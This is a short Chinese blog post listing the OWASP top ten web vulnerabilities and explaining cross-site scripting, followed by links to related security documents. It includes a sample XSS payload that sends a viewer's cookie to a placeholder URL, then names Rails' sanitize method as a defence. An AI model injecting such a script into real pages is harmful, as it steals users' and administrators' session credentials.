`
hideto
  • 浏览: 2677974 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

十大Web应用漏洞清单,XSS排名第一

阅读更多
owasp.org列出十大Web应用漏洞清单
1, Cross Site Scripting(XSS)
2, Injection Flaws
3, Malicious File Execution
4, Insecure Direct Object Reference
5, Cross Site Request Forgery(CSRF)
6, Information Leakage and Improper Error Handling
7, Broken Authentication and Session Management
8, Insecure Cryptographic Storage
9, Insecure Communications
10, Failure to Restrict URL Access

XSS排在第一位,MySpace著名的漏洞案就是由于受到XSS攻击,原理很简单,在用户提交的数据中包含JavaScript脚本
例如在修改用户Profile时用户在一个输入框内输入如下内容:
<script>
  $.ajax("some url" + document.cookie)
</script>

这样当其他人(如管理员)查看该用户的Profile时,上面这段JavaScript执行,然后将管理员的cookie发送给某个url(可以是一个收集cookie的站点)
这样,管理员的登录认证等信息就暴露了!

而Rails提供了TextHelper#sanitize方法来预防XSS攻击
分享到:
评论

相关推荐

    WSTG(Web 应用程序安全测试)OWASP - 思维导图.pdf

    1. 项目信息收集:这是渗透测试的第一步,包括了解目标系统的架构、版本信息、域名注册细节、公开的技术文档等。这有助于构建测试策略,并确定可能的攻击面。 2. 配置和部署管理测试:检查服务器配置是否安全,如...

    WEB开发安全漏洞修复方案

    1.2 FSDP安全漏洞清单 FSDP(Framework Security Defect Pattern,框架安全缺陷模式)是一种用于描述常见WEB应用安全问题的标准。这份清单列举了多种常见的安全漏洞,如会话管理、凭证泄露、账户锁定策略不足、跨...

    「安全防护」互联网资产管理与漏洞运营实践&安全产品线 - web安全.zip

    Web应用程序防火墙(WAF)和其他相关安全产品可以提供实时保护,防止SQL注入、跨站脚本(XSS)等常见的Web攻击。 标签中提到了"**信息安全**",这是一个广泛的领域,包括数据加密、隐私保护、合规性等多个方面。"**...

    关于OWASP 测试指南的说明.zip

    1. **OWASP Top Ten**:OWASP Top Ten是OWASP最知名的一个项目,它列出了当前最常见的十大Web应用安全风险,包括注入攻击、失效的身份验证和会话管理、跨站脚本(XSS)、不安全的直接对象引用、安全配置错误、敏感...

    Electron 安全检查清单.docx

    3. **遵循安全编码实践**:遵循安全软件开发最佳实践,包括防止 XSS 攻击等网络漏洞,并进行安全性测试。 **隔离不信任的内容** 不信任的代码不应直接在默认的 `BrowserWindow` 中加载,而应该使用 `&lt;webview&gt;` ...

    安全编程 挖掘软件漏洞 提高软件质量 面向高级软件开发人员岗位需求和面试

    此外,对输入数据进行验证也是安全编程的重要一环,通过限制和清理用户输入,可以有效防止SQL注入、跨站脚本(XSS)等常见Web漏洞。 挖掘软件漏洞是识别潜在安全问题的过程,这通常需要深入理解各种攻击技术。...

    OWASP Top 10 2017

    《OWASP Top 10 2017》是一个由开放网络应用安全项目(OWASP)公布的文档,它详细列出了该年度最严重的Web应用程序安全风险。OWASP是一个国际性的非盈利组织,专注于提升软件安全,它通过社区的协作来识别、解决并...

    乌云平台视角下的信息安全.pdf

    例如,引用不安全的第三方应用常常成为攻击的入口,像案例1和案例2所示,通过第三方应用的漏洞,攻击者可以渗透到像搜狗和搜狐这样的大型网络公司的内网。其次,互联网泄密和撞库事件频发,暴露了大量的用户个人信息...

    等保基线检查项,linux,windows

    8. **应用安全**:针对Web应用,如Nginx,需要检查配置是否合理,防止SQL注入、跨站脚本攻击(XSS)等常见的应用层威胁。 9. **数据完整性与保密性**:确保敏感数据的存储和传输过程中的加密,以及数据备份和恢复策略...

    成都信息工程大学期末考试卷子复习-代码安全审计.zip

    9. **安全编码实践**:了解并应用各种编程语言的安全编码规范,如OWASP Top Ten,这是一份列出最常见的Web应用程序安全漏洞的清单。 在复习过程中,学生应熟悉相关工具,如静态代码分析工具(例如SonarQube、...

    php-security-check-list:PHP安全检查表[EN]:biohazard_selector:

    "php-security-check-list"提供了一个全面的检查清单,它覆盖了从基础安全到高级安全策略的多个方面,对于任何使用PHP开发Web应用程序的人来说,都是一个宝贵的资源。通过遵循这份检查表,开发者可以显著提高其项目...

Global site tag (gtag.js) - Google Analytics